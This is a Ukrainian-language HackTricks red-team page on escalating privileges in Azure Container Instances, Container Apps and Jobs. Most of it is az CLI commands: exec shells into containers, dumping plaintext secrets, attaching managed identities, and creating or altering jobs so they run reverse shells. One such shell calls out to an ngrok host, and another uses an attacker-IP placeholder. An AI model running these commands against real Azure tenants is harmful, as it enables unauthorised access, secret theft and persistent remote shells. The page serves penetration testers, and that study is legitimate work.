Az - Azure Container Instances, Apps & Jobs Privesc

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Azure Container Instances, Apps & Jobs

Для отримання додаткової інформації перегляньте:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Ці дозволи дозволяють користувачу виконувати команду в запущеному контейнері. Це можна використовувати для ескалації привілеїв у контейнері, якщо до нього прикріплено будь-яку керовану ідентичність. Звичайно, також можливо отримати доступ до вихідного коду та будь-якої іншої чутливої інформації, що зберігається всередині контейнера.

Отримати оболонку так просто:

bash
az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

Також можливо прочитати вихідні дані контейнера за допомогою:

bash
az container attach --name <container-name> --resource-group <res-group>

Або отримайте журнали за допомогою:

bash
az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ці дозволи дозволяють прикріпити керовану користувачем ідентичність до групи контейнерів. Це дуже корисно для ескалації привілеїв у контейнері.

Щоб прикріпити керовану користувачем ідентичність до групи контейнерів:

bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ці дозволи дозволяють створювати або оновлювати групу контейнерів з управляємим користувачем ідентифікатором прикріпленим до неї. Це дуже корисно для ескалації привілеїв у контейнері.

bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

Крім того, також можливо оновити існуючу групу контейнерів, додавши, наприклад, аргумент --command-line з реверс-шеллом.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Ці дозволи дозволяють користувачу отримати шелл у запущеному контейнері програми. Це можна використовувати для ескалації привілеїв у контейнері, якщо до нього прикріплено будь-яку керовану ідентичність. Звичайно, також можливо отримати доступ до вихідного коду та будь-якої іншої чутливої інформації, збереженої всередині контейнера.

bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

Ця дозволяє отримати текст у відкритому вигляді секретів, налаштованих всередині контейнерного додатку. Зверніть увагу, що секрети можуть бути налаштовані з текстом у відкритому вигляді або з посиланням на сховище ключів (в такому випадку додатку буде призначена керована ідентичність з доступом до секретів).

bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ці дозволи дозволяють прикріпити керовану користувачем ідентичність до контейнерного додатку. Це дуже корисно для ескалації привілеїв у контейнері. Виконання цієї дії з az cli також вимагає дозволу Microsoft.App/containerApps/listSecrets/action.

Щоб прикріпити керовану користувачем ідентичність до контейнерної групи:

bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Ці дозволи дозволяють створювати або оновлювати контейнер додатка з прив'язаною ідентичністю, керованою користувачем. Це дуже корисно для ескалації привілеїв у контейнері.

bash
# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

tip

Зверніть увагу, що з цими дозволами інші конфігурації додатку можуть бути змінені, що може дозволити виконати інші атаки підвищення привілеїв та пост-експлуатації в залежності від конфігурації існуючих додатків.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Хоча завдання не є тривалими, як контейнерні додатки, ви можете скористатися можливістю переопределити конфігурацію команди завдання під час запуску виконання. Створивши власний шаблон завдання (наприклад, замінивши команду за замовчуванням на зворотний шелл), ви можете отримати доступ до шеллу всередині контейнера, який виконує завдання.

bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

Якщо у вас є ці дозволи, ви можете перерахувати всі секрети (перший дозвіл) всередині контейнера Job, а потім прочитати значення налаштованих секретів.

bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

Якщо у вас є дозвіл на зміну конфігурації роботи, ви можете прикріпити призначену користувачем керовану ідентичність. Ця ідентичність може мати додаткові привілеї (наприклад, доступ до інших ресурсів або секретів), які можуть бути використані для ескалації привілеїв всередині контейнера.

bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Якщо ви можете створити нову задачу Container Apps (або оновити існуючу) і прикріпити керовану ідентичність, ви можете спроектувати задачу для виконання корисного навантаження, яке підвищує привілеї. Наприклад, ви могли б створити нову задачу, яка не тільки запускає реверсний шелл, але й використовує облікові дані керованої ідентичності для запиту токенів або доступу до інших ресурсів.

bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

tip

Ця команда викличе помилку, якщо у вас немає дозволу Microsoft.App/jobs/read, хоча Завдання буде створено.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Схоже, що з цими дозволами має бути можливим запустити завдання. Це можна використовувати для запуску завдання з реверс-шеллом або будь-якою іншою шкідливою командою без необхідності змінювати конфігурацію завдання.

Я не зміг змусити це працювати, але згідно з дозволеними параметрами це має бути можливим.

Microsoft.ContainerInstance/containerGroups/restart/action

Дозволяє перезапускати конкретну групу контейнерів у Azure Container Instances.

bash
az container restart --resource-group <resource-group> --name <container-instances>

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks